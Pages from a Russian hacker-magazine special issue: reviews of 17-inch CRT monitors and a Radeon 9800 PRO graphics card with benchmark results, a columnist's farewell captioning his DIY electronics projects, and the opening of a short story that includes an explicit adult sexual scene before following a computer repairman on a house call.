Колориметр также дал возможность измерить цветовую температуру. Меньшая цветовая температура соответствует дневному освещению (6500К), а большая (9300К) - холодному отблеску снега. Белый лист на мониторах с низкой температурой желтил, а с высокой приобретал фиолетовый оттенок.

LG FLATRON F700P (ЛУЧШАЯ ПОКУПКА)

$190

Диагональ: 17"

Максимальное разрешение: 1600Х1200 (75Гц)

Сведение: 5 баллов

Фокусировка: 4 балла

Видеоусилитель: 4 балла

Муар: 3 балла

Максимальное разрешение 1600Х1200, при этом LG FLATRON F700P держит целых 75 Герц. Но вряд ли кому-то придет в голову шальная мысль работать с такими разрешениями на семнашке. Соответственно вертикальная развертка получается от 50 до 160 Герц. Неплохая полоса пропускания 203 смехагерца, обеспечивает четкость изображения. На мониторах с применением технологии FLATRON нет нитей, придерживающих маску. Тоже идет в плюс, хотя на мониторах с нитями оные практически незаметны.

Заметим, что LG FLATRON F700P отлично справляется с геометрией на плоском экране. Фокус, конечно, не идеален, зато равномерен, что тоже удается далеко не всем мониторам. Один из самых муарных мониторов. При тестировании высоковольтной системы изображение ведет себя достаточно стойко, хотя геометрия чуть-чуть все-таки изменяется.

Наш колориметр показывает практически идеально ровные графики для трех цветов. На низкой яркости есть, конечно, маленькая ступенька, но незначительная. Недаром LG FLATRON F700P профессионалы хвалят за хорошую цветопередачу. Однако чтобы насладиться этой клевой цветопередачей, тебе обязательно придется установить цветовой профиль монитора. LG FLATRON F700P передает цвета равномерно (это круто), однако линейность все-таки страдает (это не круто, но легко исправляется цветовым профилем, если все в порядке с равномерностью). Для решения этих проблем в комплекте имеется специально ПО. Гамма у этого дисплея, конечно, великовата, и без установки профиля с диска это скажется! К монитору нужно обязательно ставить дрова!

Колориметр также рекомендует покрутить цвета перед использованием монитора, поскольку задран зеленый цвет. Обещанные 9300 кельвинов мы намерили как 9100, с учетом погрешности - это просто великолепный результат! То есть LG FLATRON F700P показывает самый правильный белый!

Надо отметить компактность монитора и современный космический дизайн. Компактность, кстати, для многих важна, ведь электроннолучевой приятель способен влегкую занять половину твоего рабочего стола. Из изысков дизайна также полезен USB-хаб на четыре устройства, это оценят обладатели средних компьютеров, на которых USB-разъемов обычно не хватает. Кстати, такой хаб позволит подключить USB-крысу и USB-клаву прямо к дисплею, а не тянуть их к далекому системному блоку.


Спецвыпуск Xakep, номер #033, стр. 033-092-3, САМЫЕ ИНТЕРЕСНЫЕ СЕМНАШКИ - тест 17' CRT-мониторов

САМЫЕ ИНТЕРЕСНЫЕ СЕМНАШКИ - тест 17' CRT-мониторов

test_lab (test_lab@gameland.ru)

Спецвыпуск Xakep, номер #033, стр. 033-092-3

LG FLATRON 795FT Plus

$200

Диагональ: 17"

Максимальное разрешение: 1600Х1200 (75Гц)

Сведение: 5 баллов

Фокусировка: 4 балла

Видеоусилитель: 4 балла

Муар: 3 балла

Ну а это достаточно известный и успешный предшественник LG FLATRON F700P. Собственно, LG FLATRON F700P призван заменить LG FLATRON 795FT Plus, однако LG FLATRON 795FT Plus до сих пор можно встретить во многих магазинах, да еще и по завышенной цене - благодаря большой популярности. Не удивительно, ведь этот дисплей собрал немало наград и у нас, и за бугром.

Смотрим и видим: разрешение 1600X1200 на 75 Герцах, 203 мегагерца полосы пропускания, 160 Герц вертикальной развертки. Тесты фокусировки, муара, геометрии и высоковольтной системы также повторяют результаты LG FLATRON F700P.

Однако колориметр показывает чуть-чуть более аккуратные графики и тот же перекрученный зеленый цвет. А вот цветовую температуру мы намерили более низкую: 8840 Кельвинов (а обещают 9300).

Также имеется USB-хаб, меню более удобное. Однако LG FLATRON 795FT Plus достаточно громоздкий и места на столе займет явно больше, чем LG FLATRON F700P.

CTX PR705F

$210

Диагональ: 17"

Максимальное разрешение: 1600X200 (68Гц)

Сведение: 5 баллов

Фокусировка: 3 балла

Видеоусилитель: 3 балла

Муар: 3 балла

Невысокая полоса пропускания, всего 180 мегагерц подводит CTX PR705F, видимо, с этим связаны некоторые проблемы с фокусом и с муаром. Тем не менее высоковольтная система в порядке - изображение стоит как вкопанное и не дергается при изменении яркости. Реализованы большие частоты вертикальной развертки (до 160 Герц), но не надо забывать, что узкая полоса пропускания может свести на нет эти преимущества.

На графике, выданном колориметром, видны просто ужасные скачки на невысокой яркости. То есть в темных частях изображения можно ждать непредсказуемых явлений с цветом. В остальном цветопередача в норме. Гамма выше средней, экран отдает в желтый, поскольку цветовая температура низковата: 7760 Кельвинов.

Дизайн CTX PR705F бедный, а корпус громоздкий и угловатый.

NEC FE791SB

$230

Диагональ: 17"

Максимальное разрешение: 1280x1024 (85Гц)

Сведение: 4 балла

Фокусировка: 4 балла

Видеоусилитель: 5 баллов

Муар: 5 баллов

NEC FE791SB поражает воображение своим дизайном в стиле ретро. Кстати, такие квадратные формы очень удобны в использовании, например, на плоский верх можно положить какой-нибудь стафф, как на полку.

Полоса пропускания в 210 мегагерц обеспечивает приемлемую четкость изображения. Приятно также то, что при разрешении 1024Х768 NEC FE791SB заводится на 116 мегагерц.

На колориметре мы видим среднюю кривизну параболы цветопередачи и практически идеально прямые графики скорректированных трех цветов. С белоснежностью экрана все тоже неплохо: 8110 Кельвинов.

Не обошлось и без фирменных технологий! Функция SuperBright позволяет одним нажатием кнопки переключить дисплей в режим просмотра графики и видео, увеличив яркость. Для цветокоррекции используется утилита AccuColor. А программа NaViSet позволяет настраивать моньку с помощью мыши и клавиатуры.


Спецвыпуск Xakep, номер #033, стр. 033-092-4, САМЫЕ ИНТЕРЕСНЫЕ СЕМНАШКИ - тест 17' CRT-мониторов

САМЫЕ ИНТЕРЕСНЫЕ СЕМНАШКИ - тест 17' CRT-мониторов

test_lab (test_lab@gameland.ru)

Спецвыпуск Xakep, номер #033, стр. 033-092-4

Словом, этот монитор тоже будет неплохим выбором, хотя и не самым дешевым.

SONY Multiscan E250

$260

Диагональ: 17"

Максимальное разрешение: 1600x1200 (75Гц)

Сведение: 5 баллов

Фокусировка: 5 баллов

Видеоусилитель: 5 баллов

Муар: 5 баллов

Если смотреть только на возможности и технические характеристики, то SONY Multiscan E250 - лучший монитор в нашем обзоре. Мощная система развертки позволяет заводиться на разрешениях 1280X1024 (91Гц) и 1024X768 (121Гц). Максимальная частота вертикальной развертки 170 Герц, а не 160, как у остальных монек. Картинка четкая, геометрия выглядит отлично, изображение не дергается при смене яркости. Полосу пропускания SONY, видимо, скрывает (в документации нам ее найти не удалось), по ощущениям это не меньше 250 смехагерц!

Колориметр также радует глаз: у SONY Multiscan E250 цветопередача идеальна - прямые коррекции всех трех цветов без единой помарочки идут из одного угла в другой, при этом не сильно расходятся. Гамма минимальная, график действительно четкая парабола без отклонений. Экран белоснежный 8150 Кельвинов, хорошие заводские настройки.

Дизайн тоже не подкачал, удобный джойстик позволяет быстро лазать по хорошо структурированному меню. Всем хорош монитор, но посмотри на цену. Ведь за эти деньги можно купить среднюю девятнашку. Зачем тебе суперсемнашка, когда можно купить приемлемую девятнашку? Непонятно! На этот раз инженеры SONY перестарались, но гурманы все равно, как всегда, найдутся.

SAMSUNG SyncMaster 757NF

$230

Диагональ: 17"

Максимальное разрешение: 1920x1440 (64Гц)

Сведение: 5 баллов

Фокусировка: 4 балла

Видеоусилитель: 4 балла

Муар: 4 балла

Полоса пропускания у SAMSUNG SyncMaster 757NF 250 мегагерц. Это единственный монитор в обзоре, у которого отсоединяется шнур - что очень удобно. Причем кроме обычного VGA-кабеля можно использовать коаксиальный для улучшения качества изображения, у других семнашек мы такой возможности не нашли. Дисплей действительно абсолютно плоский. Фокус очень четкий, но недостаточно равномерный, экран муарит. Высоковольтная система неплохая, однако из-за исключительной плоскости экрана по краям можно найти геометрические искажения.

Колориметр показывает самую маленькую гамму в обзоре. Кривизна параболы минимальна, однако неравномерна, поэтому на графике видны два перегиба, которые, правда, совсем не мешают в работе. Цвет экрана просто ледяной и чуть-чуть отдает в синеву, ведь цветовая температура 9560 Кельвинов, хотя должно быть 9300.

Фирменная технология HighlightZone II позволяет настроить цвет, яркость и контрастность для определенной области экрана. Причем размеры и положение такой яркой зоны можно менять. Это очень удобно, если ты работаешь с графикой или видео. Для того чтобы лучше рассмотреть картинку, не придется выкручивать яркость всего рабочего стола, достаточно выделить нужную область. Кстати, настройками геометрии, яркости, контрастности, цветов и другими возможностями монитора можно управлять прямо мышкой с рабочего стола. Для этого в комплекте утилита MouScreen, которая общается с SAMSUNG SyncMaster 757NF через USB. Но если хочешь, можешь давить на кнопки мониторного меню.


Спецвыпуск Xakep, номер #033, стр. 033-092-5, САМЫЕ ИНТЕРЕСНЫЕ СЕМНАШКИ - тест 17' CRT-мониторов

САМЫЕ ИНТЕРЕСНЫЕ СЕМНАШКИ - тест 17' CRT-мониторов

test_lab (test_lab@gameland.ru)

Спецвыпуск Xakep, номер #033, стр. 033-092-5

SAMSUNG SyncMaster 757MB (ВЫБОР РЕДАКЦИИ)

$190

Диагональ: 17"

Максимальное разрешение: 1920x1440 (64Гц)

Сведение: 5 баллов

Фокусировка: 5 баллов

Видеоусилитель: 5 баллов

Муар: 4 балла

Монитор считается плоским. Он действительно плоский, однако если долго приглядываться, то кривизна экрана все-таки видна. Кривизна экрана, как ты уже понял, незаметна с первого взгляда, однако отчасти благодаря этой особенности мониторам из линейки MB удается достичь такой высокой и, главное, равномерной фокусировки. Второй фактор, способствующий четкости изображения, - высокая полоса пропускания (аж 250 мегагерц!). Вертикальная развертка 50-160Гц. Высоковольтная система на высоте - изображение не скачет и не искажается при переключении режимов. Геометрия, с одной стороны, отражает кривизну экрана, а с другой стороны, искривления более-менее равномерны. Работа за этим монитором оптимальна в режиме 1024X768 (116 Гц). SAMSUNG SyncMaster 757MB практически не муарит.

По данным колориметра видно, что цвета передаются неплохо. График цветокоррекции практически не имеет изъянов, кроме небольшой ступеньки при низкой освещенности на красном цвете. Перекручен зеленый цвет и недокручен красный. Дисплей чуть-чуть желтит, так как цветовая температура всего 7340 Кельвинов вместо обещанных 9300.

SAMSUNG SyncMaster 757MB просто-таки напичкан фирменными технологиями! MB означает MagicBright, это значит, что нажатием на одну кнопку ты сможешь выбрать один из трех режимов: «Интернет», «Видео», «Текст». Каждый режим влияет на настройки яркости, контрастности и фокусировки. Конечно, для просмотра фильмов нужны яркость побольше и размытая фокусировка, чтобы скрыть пиксели. Для текста, наоборот, нужны идеальный фокус и небольшая яркость. Имеется возможность настраивать дисплей программой MouScreen через USB, а для коррекции цвета используется ПО Natural Color.

Выводы

Не гонись за дешевизной! Покупай моньку, которая обязательно держит 100 Герц на 1024Х768 и не дергается при переключении яркости. Но и не надо переплачивать, ведь за 200-250 зеленых президентов можно купить уже девятнашку! А это круче и просторнее. Вот только места на столе занимает значительно больше :(.


Спецвыпуск Xakep, номер #033, стр. 033-096-1, КУЗНИЦА МОНСТРЯКОВ - Radeon 9800 PRO

КУЗНИЦА МОНСТРЯКОВ - Radeon 9800 PRO

test_lab

Спецвыпуск Xakep, номер #033, стр. 033-096-1

(test_lab@gameland.ru)

Здарова, приятель! Сегодня, как всегда, представляем тебе новый феррум для апгрейда. На этот раз это клевая видюха на основе чипа Radeon 9800 PRO.

Речь идет о девайсе от компании Gigabyte, модель GV - R98P256D. Это весьма производительная видюха, предназначенная, в первую очередь, для хардкорных геймеров. Девайс - не дешевый, но он того стоит. Если ты собрался покупать новый современный компьютер и хочешь иметь мощную и производительную систему со всеми наворотами, то эта видюха - твой выбор.

Карта радует весьма нехилой производительностью и имеет неплохой потенциал для разгона. На борту карты стоят 256 Мбайт DDR2 памяти, работающей с тактовой частотой 700 Мгц, 256-разрядный интерфейс дополнительно увеличивает производительность девайса. Процессор карты работает с частотой 380 МГц. На самом девайсе буквально все, что может греться, закрыто хорошими алюминиевыми радиаторами - это, само собой, чип и память, а также питание карты. Вместе с хорошим кулером это все дает очень хорошие перспективы для разгона.

Как видно на скрине, видюха требует для работы дополнительное питание, и если ей это самое питание не подключить, то при включении компьютера можно увидеть интересную вещь: карта, возмущенная таким невниманием, выдаст на экран сообщение о том, что кабель питания не воткнут, и потребует-таки воткнуть его в... законное место :).

На случай, если у тебя нет свободного разъема, в комплекте с картой идет специальный провод - переходник-разветвитель. К слову, этот провод очень длинный и его удобно использовать не по прямому назначению, а для того, чтобы подключать принесенный соседом винчестер со свежей музыкой и веселыми картинками.

Новинка, как и все порядочные современные карты, имеет DVI и TV-OUT, так что если тебе захочется посмотреть новый фильм, подключив компьютер к телевизору, или прикупить новый LCD монитор с DVI входом, то никаких проблем с этим не будет. Для подключения к телевизору в комплекте с картой идет шнур. С его помощью возможно подключение как через обычный «тюльпан», так и через s-vhs (раздвоенный шнур).

В девайсе реализована функция twin view, служащая для подключения к компьютеру двух мониторов одновременно, поэтому в комплекте присутствует переходник DVI -> VGA, который позволяет подрубить два обычных монитора с VGA-входами. Кроме этого, в коробке с картой можно найти инструкцию по установке и бонусные игры, которые сразу позволят заценить мощь девайса. Что касается игр, то их 4 штуки: Motocross Mania, On 4x4, Serious Sam и Heavy Metal, плюс еще один диск с софтиной CyberLink Power DVD.

Тестирование карты показало очень неплохую производительность.

Тест-драйв проходил на следующей конфигурации:

процессор - 3 ГГц Athon;

память - 512 DDR M-tec;

винчестер - Samsung SP 1604n;

мать - Gigabite GA-7NNXP.

Для начала мы прогнали карту двумя версиями бенчмарка 3Dmark (2001se pro и 2003) в различных разрешениях с глубиной цвета 32 Бит. Результаты, как всегда, в попугаях:

3DMARK 2001SE PRO:

800х600 - 12700

1024х768 - 12573

1280х1024 - 10500


Спецвыпуск Xakep, номер #033, стр. 033-096-2, КУЗНИЦА МОНСТРЯКОВ - Radeon 9800 PRO

КУЗНИЦА МОНСТРЯКОВ - Radeon 9800 PRO

test_lab

Спецвыпуск Xakep, номер #033, стр. 033-096-2

1600х1200 - 8012

3DMARK 2003:

800х600 - 7250

1024х768 - 6400

1280х1024 - 4770

1600х1200 - 3750

Далее был Quake 3 (результаты в fps):

800х600 - 310

1024х768 - 280

1280х1024 - 183

1600х1200 - 140

И напоследок - UT 2003 Demo (результаты в fps):

800х600 - 60

1024х768 - 55

1280х1024 - 53

1600х1200 - 40

Итак, девайс показал очень хорошие результаты. Замечу, что тестирование проводилось со стандартными частотами, если же обеспечить карту хорошим дополнительным охлаждением, то можно будет ее неплохо разогнать и получить еще большую производительность.


Спецвыпуск Xakep, номер #033, стр. 033-098-1, Паяльный Прощальник Доктора Добрянского

Паяльный Прощальник Доктора Добрянского

(Dr.Cod@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-098-1

Пришло время подвести итоги. Вот самые яркие моменты из моей радиоэлектронной жизни, начиная с февраля 99-го, когда вышел первый Хакер. Доктор уходит, но обещает вернуться! Я обязательно всплыву в каком-нибудь издании, либо в Интернете с возрожденным паяльником! Так что пиши свои идеи. А пока я занимаюсь тестами железа в test_lab.

glush.jpg

Самое первое устройство (глушилка телеков), вышло во втором Хакере в 99-ом году!

Biolakator.jpg

Позже я переделал глушилку в биолакатор.

Metalloiskatel.jpg

Металлоискатель. Самое популярное устройство, многие собрали и рады!

*Lazer.jpg

Из лазерной указки просто сделать лазерофон, некоторые читатели замутили лазерные линки, подключив указки к компортам.

*brainjazz.jpg

Сергей Летов музицирует мозгом

pauk.jpg

Паук Александра Смирнова, превращающий мозговые волны в музыку

fish.jpg

Рыбка с электродом в мозгу, чтобы ученые могли увидеть мир глазами рыбы

*perchatka.jpg

Перчатка со шприцами вместо пальцев (мы с Донором сделали)

*bug_1

Жук, которого намутил R-Master.

bug_2

Ультраминиатюрный жук. Я придумал, а R-Master спаял.

Robovelik.jpg

Двухколесный робовелосипед профессора Ленского. Автономный, умеет сам вставать с пола!

*Puskatel.jpg

Пускатель мы сделали с Донором, чтобы дистанционно лопать надувные шарики с разной дрянью.

*Hlopki.jpg

Это выключатель, реагирующий на хлопки. Пока настраивал, отбил себе ладоши.

*Muzon.jpg

Простейший бесконтактный синтезатор на базе оптического сенсора.

Radar.jpg

Имитатор радарных сигналов, подключается к компу (я для института паял).

Vesi.jpg

На этих весах с моторчиками я планирую поставить пару экспериментов с гравитацией.

Содержание


Спецвыпуск Xakep, номер #033, стр. 033-100-1, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-1

На висках выступили вены. Ева полулежала в шикарном кожаном кресле в паре метров от экрана монитора. Закрыв глаза, она парила в призрачном выдуманном пространстве; тело медленно извивалось, волна спускалась откуда-то с затылка к кончикам пальцев на ногах. Периодически руки поднимались с подлокотников, чтобы аккуратно проникнуть за отворот блузки, туда, где маленькими бусинками затвердели соски. Тихий стон срывался с губ от нежных прикосновений к своему телу; она проводила кончиком пальца от подбородка к ложбинке между грудей.

Вскоре одежда показалась ей тесной. Из блузки она выскользнула очень профессионально, словно этот трюк оттачивался не один месяц. Просто вдруг она оказалась в одних тонких узеньких трусиках, явив взору того, кто мог бы сейчас с ней находиться (но она была совершенно одна!), роскошное молодое тело, покрытое мелкими бисеринками пота.

На животе (даже не на животе, а в совсем опасной близости от одной из самых сильных эрогенных зон) обнаружилась маленькая присоска со скрывающимся под ней тоненьким проводком. Этот проводок аккуратно перекидывался через бронзовое от искусственного загара бедро и уходил к компьютеру. Ева, прекрасно помня о его существовании, просунула холеные пальцы под кружево трусиков.

Стон... На корпусе засветился красный светодиод, говоря об активности винчестера. Компьютер зашелестел, на экране заметались разноцветные образы, перетекающие один в другой.

Постепенно стоны становились похожими на хрип; возбуждение довольно медленно, но верно достигало максимума. Ева превратилась в натянутую струну, ожидающую взрыва. Пальцы не останавливались, язык часто облизывал пересохшие соленые губы; она несколько раз вздрогнула, будто от удара электрического тока.

Компьютер продолжал работать. Ева убрала левую руку с груди; как зомби, протянула ее к клавиатуре и нащупала «Enter». Она уже была близка к оргазму - к одному из самых сильных оргазмов в своей жизни.

- А-а-а!.. - едва не закричала она, когда волна горячего удовольствия хлынула между ног и стала подниматься все выше и выше, охватывая все тело...

«Пи... Пи... Пи...» - какой-то посторонний звук вмешался в происходящее. Ева хлопнула всей ладонью по клавиатуре - там, где была нужная клавиша. Ничего не произошло. Она будто провалилась в прорубь - все тепло и дрожь, созданные ее умелыми пальцами, оборвались и заставили открыть не видящие пока ничего глаза. Сквозь туман и слезы удовольствия выплыло пятно монитора.

«Синий экран смерти».

Система умерла в самый неподходящий момент, не выдержав поставленных перед нею задач.

- С-сволочь... - прошипела гадюкой Ева, еще не до конца осознав, что произошло. - Нет...

Она схватила присоску и оторвала ее от нежной влажной кожи живота.

- Нет! - закричала она, словно от звука ее голоса компьютер мог ожить и выполнить ею задуманное. - Этого не может быть! Не сейчас! Не-сей-час!

Она повторяла это размеренно-бешеное «Не-сей-час!» бесчисленное число раз, колотя слабыми кулачками по подлокотникам кожаного кресла, пропитавшегося ее потом. А затем она в порыве гнева разорвала на себе трусики и швырнула их в экран. Шелковое кружево неаккуратно повисло на одном из углов монитора, напоминая бинт...


Спецвыпуск Xakep, номер #033, стр. 033-100-2, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-2

* * * * *

Главным пристрастием Антона Верника в мире искусства был Аль Пачино. Каждый новый фильм с его участием становился событием, которое он обсуждал сам с собой и со своими друзьями в Интернете не один день; любая прошлая работа великого мастера едва ли не конспектировалась, все его слова, жесты и поступки копировались и переносились в жизнь. Ради Пачино Антон выучил огромное количество сленговых выражений и смотрел кино на DVD без перевода.

Лица актера взирали на Антона утром и вечером со стен его квартиры; на экране компьютера поочередно сменяли друг друга обои с изображением Аль Пачино. Сложно было дать однозначный ответ на вопрос - что же так привлекало молодого перспективного сотрудника компании средней руки по настройке программного обеспечения (в миру - «Компьютерной скорой помощи») в драматическом гении Голливуда. Сам Антон никогда не вдавался в подробности - он просто смотрел фильмы с его участием и не мог оторвать взгляд от проникновенных глаз, смотрящих в камеру с пристрастием.

Сегодня - «Море любви». Антон протянул руку на полку, где в ряд стояли все фильмы с его любимым актером и уже хотел было взять «Запах женщины», но что-то его остановило - указательный палец скользнул вдоль дисков, едва задевая их, и наткнулся на один, выступающий из аккуратного ряда. Это и было «Море любви», собравшее много всяких призов, но не получившее заветного «Оскара» (к слову сказать, фильм как таковой на «Оскара» не тянул - неизвестно еще, чем бы дело закончилось, не будь там Пачино). Диск аккуратно лег в лоток, тихое жужжание предварило появление изображения.

Серийный убийца. Вечная тема для Голливуда, практически неисчерпаемая. Уж сколько их было - начиная с Джека-Потрошителя (чего стоила только картина «Из ада» с великолепным, утонченным Джонни Деппом - которому, правда, далеко до великого Пачино). Всех находят с пулей в башке, уткнувшимися в собственную постель, абсолютно голых... По какой причине Аль Пачино решил играть в этом фильме? Его детективы и боевики, конечно же, великолепны (вспомнить только «Схватку» или «Крестного отца», ставшего хрестоматийным) - но вот сама тематика «Моря любви», поиск преступника, сюжет, местами достойный кисти мастера вроде Конан-Дойля, - все это было не очень свойственно для актера, взявшего на себя труд исполнить роль Френка Келлера.

Антон, взяв в правую руку блюдце с солеными сухариками, а в левой умудряясь удерживать бутылку «Невского» и пульт от телевизора, внимательно смотрел на экран. Иногда он именно так смотрел фильмы с Пачино - зная многие диалоги наизусть, помня все повороты сюжета, он разглядывал лица, жесты, повороты головы, походку, слушал английскую речь своего кумира. Ему очень хотелось стать таким, как он; или нет, не таким, как он сам, а как его герои - жестоким и всемогущим, как дьявол, нанявший себе адвоката, или таким же, как слепой полковник в «Запахе женщины», - одновременно циничным и справедливым.


Спецвыпуск Xakep, номер #033, стр. 033-100-3, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-3

Действие разворачивалось в фильме не особенно стремительными темпами. Расследование, начатое Келлером, было еще довольно далеко от завершения, когда Антон обратил внимание на маленький диалог между детективом и его подопечной, выступавшей в роли главной подозреваемой, которую великолепно сыграла Эллин Баркин.

« - ...Иногда пахнет дерьмом, но я все равно люблю свой район...

- Это только кажется, что все спокойно - а в прошлом году здесь было три убийства. Одно вон там, рядом с той вывеской, второе - через неделю во-он в том доме на втором этаже, а еще через два месяца - на третьем.

- Ну просто обитель зла какая-то...»

Антон услышал в этом диалоге скрытый подтекст, который можно было рассматривать по отношению к чему бы то ни было как пророческий - «я люблю свой город», «я люблю свою работу» - а потом... «Это только кажется, что все спокойно...»

Сухарики постепенно таяли на блюдце, пиво убывало, а Аль Пачино продолжал творить чудеса лицедейства на экране телевизора...

Когда зазвонил телефон, фильм почти подходил к концу. Антон протянул руку к трубке и услышал знакомый голос своего коллеги по работе.

- Привет, Антон. Это Лукашин, узнал?

Антон кивнул, а потом понял, что надо ответить:

- Да, узнал, Виталий. Что так поздно?

- Да дело тут есть... - начал Лукашин, и Антон сразу понял, что придется куда-нибудь ехать. Таким тоном могли начинаться только разговоры об этом - да еще о том, чтобы занять кому-нибудь денег.

- Говори, не тяни кота за хвост, - поторопил Антон собеседника, поставив фильм на паузу.

- Я понимаю, не царское это дело, - продолжал нудеть на том конце провода Виталий. - Просто больше не к кому обратиться.

- Денег у меня нет, - сразу отрезал один из вариантов развития разговора Антон.

- Да ну тебя, Верник, - рассмеялся Лукашин. - Денег я тебе сам могу дать...

- Дай.

- Сколько?

- Что тебе надо? - не выдержал Антон, повысив голос. В деньгах он не нуждался.

- Короче, тут ушли уже все, а у меня срочный вызов в Большой Девятинский...

- Кто оплатит? - сразу сообразил Антон. - И вообще - давай совсем уже близко к делу.

- Оплатит лично директор, это он рекомендовал именно тебя, - в голосе Лукашина проскользнули какие-то не понравившиеся Антону нотки. С этим вызовом было явно что-то не так. - Ведь у нас только ты умеешь работать с женщинами бальзаковского возраста. Ну и потом, она просила лучшего...

- Подхалим... У тебя что, АОН еще и возраст звонившего определяет? - ехидно спросил Антон, несколько заинтригованный. - И ты вот брякаешь, а сам-то хоть знаешь, что такое «бальзаковский возраст»?

- Ну... - смутился Лукашин. - А сколько это лет?

- А по голосу сложно было определить?

- Вот в этом-то все и дело, - Виталий замолчал надолго. (Верник тем временем успел снять фильм с паузы, просмотреть почти минуту - и поэтому вновь возникший в трубке голос Лукашина чуть ли не напугал его). - Там что-то не в порядке было с голосом... Она так орала, так орала...

- В смысле? - оторвавшись от Аль Пачино, спросил Верник.

- Ну, в прямом - как будто это я ей компьютер сломал. И все время повторяла - «Не сейчас!» Как заводная просто, раз двадцать. А дышит, как паровоз, словно за ней бежал кто. Ну или будто прям с постели подскочила, из-под...


Спецвыпуск Xakep, номер #033, стр. 033-100-4, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-4

- Детали меня не интересуют, - оборвал Лукашина Антон. - То есть интересуют, но не эти. Адрес?

Лукашин продиктовал. Оказалось, далековато.

- Честно сказать, я такси вызвал раньше, чем тебе позвонил, - виновато добавил Виталий. - Так что...

- Ферштейн, - кивнул Верник. - Лишь бы он меня потом обратно доставил. Ну, пока, диспетчер.

Он положил трубку и с тоской взглянул в экран телевизора, где в стоп-кадре неподвижно застыл Аль Пачино. Досмотреть была не судьба.

Встав с кресла, он прошел в другую комнату, где, в отличие от зала, царил рабочий беспорядок - компьютер на столе, компьютер под столом, пара мониторов, небольшая спутниковая антенна на подоконнике, масса проводов - по делу и не по делу... У дверей на видном месте стоял «дипломат» - внутри был ноутбук, внешний модем «Zyxel» и набор самых необходимых дисков. Машинально проверив свою почту и отправив пару коротких сообщений в форумы, он взял «дипломат», взглянул на часы, вздохнул и вышел в подъезд...

* * * * *

Судя по тому, как выглядела входная дверь - там, за дверью, скрывалась шикарная квартира. Дверь итальянская, металлическая, с тремя замками, огромным телескопическим «глазком» - на танке не въедешь!

Антон сверился с адресом, который записал со слов Лукашина на маленький клочок бумажки (ох уж эта любовь к «наладонникам»!) - все верно. Протянул палец к звонку - и не успел нажать, как там, по ту сторону, раздались цокающие быстрые шаги, забренчали ключи, и дверь распахнулась, едва не ударив Антона в нос. Верник вовремя отскочил за створку и увидел высунувшуюся наружу голову женщины.

Ее пронзительные глаза быстро оглядели площадку перед дверью, не заметили Антона; дверь с грохотом закрылась, но Верник успел услышать: «Чертов сервис, ждешь их до второго пришествия!», произнесенное с такой ненавистью, что заходить в квартиру вообще расхотелось. На секунду проскользнула мысль - а не уйти ли нафиг отсюда, сославшись на то, что таксист не нашел дом. Потом вспомнил, что не найти такой дом можно только в сильном алкогольном опьянении - практически центр города, Новый Арбат, - и протянул руку к звонку во второй раз.

Звук оказался неожиданно мелодичным - не чета тому голосу, который принадлежал хозяйке. Вновь стук каблучков, скрадываемый, по-видимому, ковровой дорожкой, снова щелчки замков. На этот раз Антон был более предусмотрительным - он отошел на пару шагов назад, встал прямо напротив двери и оказался точно перед лицом хозяйки, распахнувшей дверь со свойственной ей в походке и суждениях стремительностью.

По части бальзаковского возраста Лукашин ошибался, но не намного. Женщине было около тридцати лет, она была полна сил и энергии, глаза метали молнии. Прежде чем пустить Антона в квартиру, она внимательно осмотрела его с ног до головы, от чего Вернику стало очень неуютно; потом она на пару секунд задержала взгляд на его «дипломате», хмыкнула и распахнула дверь полностью.


Спецвыпуск Xakep, номер #033, стр. 033-100-5, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-5

Верник, уже собравшийся сделать шаг внутрь, застыл, занеся ногу для шага. На хозяйке квартиры был тонкий розовый пеньюар, отделанный чем-то похожим на мех такого же цвета; под пеньюаром не было НИЧЕГО.

- Вы будете заходить или нет? - нетерпеливо спросила женщина, ни на секунду не задумавшись над тем, что же смутило мастера. - Время не ждет.

Она махнула рукой в коридор. Верник отвел глаза в сторону и прошел мимо, на мгновенье окутавшись облаком непонятной смеси запахов, исходившей от нее, - что-то из очень дорогих духов, сладких и приторных, наслоившихся на запах пота. Это было единственное, что отталкивающе подействовало на Антона. Все остальное заставляло его молодую, по-весеннему неустойчивую психику трепетать и путать мысли.

Остановившись возле вешалки, он снял куртку, поставив «дипломат» на пол, разулся (хозяйка подтолкнула ему тапочки, он сделал вид, что не заметил - с детства ненавидел в гостях надевать чужую обувь). В зеркале напротив отразилась фигура хозяйки; она, совершенно не замечая особенностей своего одеяния, заглядывала в одну из комнат. Пеньюар кокетливо распахнулся, открывая обнаженную грудь. Верник отвел глаза; пару раз дернулась щека.

Ему вдруг пришло в голову одно из наставлений директора - мастерa из различных сервисов, в том числе и из компьютерного, очень часто подвергаются сексуальным домогательствам одиноких женщин; с такими особами надо держать ухо востро и избегать всяческих заигрываний и приставаний, ибо впоследствии от обвинения в изнасиловании не отмажет уже никто. А спорить с директором в подобных вопросах было крайне и крайне глупо. Антон краем глаза посмотрел на хозяйку - на первый взгляд она на подобные обвинения не тянула. Но кто ж их знает, этих непредсказуемых женщин...

- Молодой человек, не пора ли!.. - нетерпеливо махнула рукой куда-то вглубь большой комнаты хозяйка. - Время идет!

- Да, конечно, - вышел из ступора Антон, поднял «дипломат» и прошел туда, куда показывала женщина. Комната оказалась на удивление скромно обставленной - кроме компьютерного стола в углу напротив окна и какого-то непонятного прибора, подключенного к этому компьютеру, не было практически ничего; только огромное кожаное кресло в самом центре под небольшой симпатичной люстрой.

Остановившись на пороге, Верник осмотрелся. Окна закрыты довольно плотными шторами темно-красного цвета; на полу темно-бордовый ковер с геометрическим узором. На стенах, покрытых жидкими обоями с опять-таки вездесущим красноватым оттенком, несколько картин с непонятными абстрактными фигурами.

Кресло, в принципе, выпадало из общего тона. Как и компьютер. Вообще, в этой комнате идеально смотрелась бы большая кровать, покрытая красно-черным постельным бельем, а в центре кровати должна была лежать в шикарном розовом пеньюаре... Вот в таком... И нахрена здесь комп - да еще с какой-то приблудой, напоминающей передвижную рентгеновскую установку?

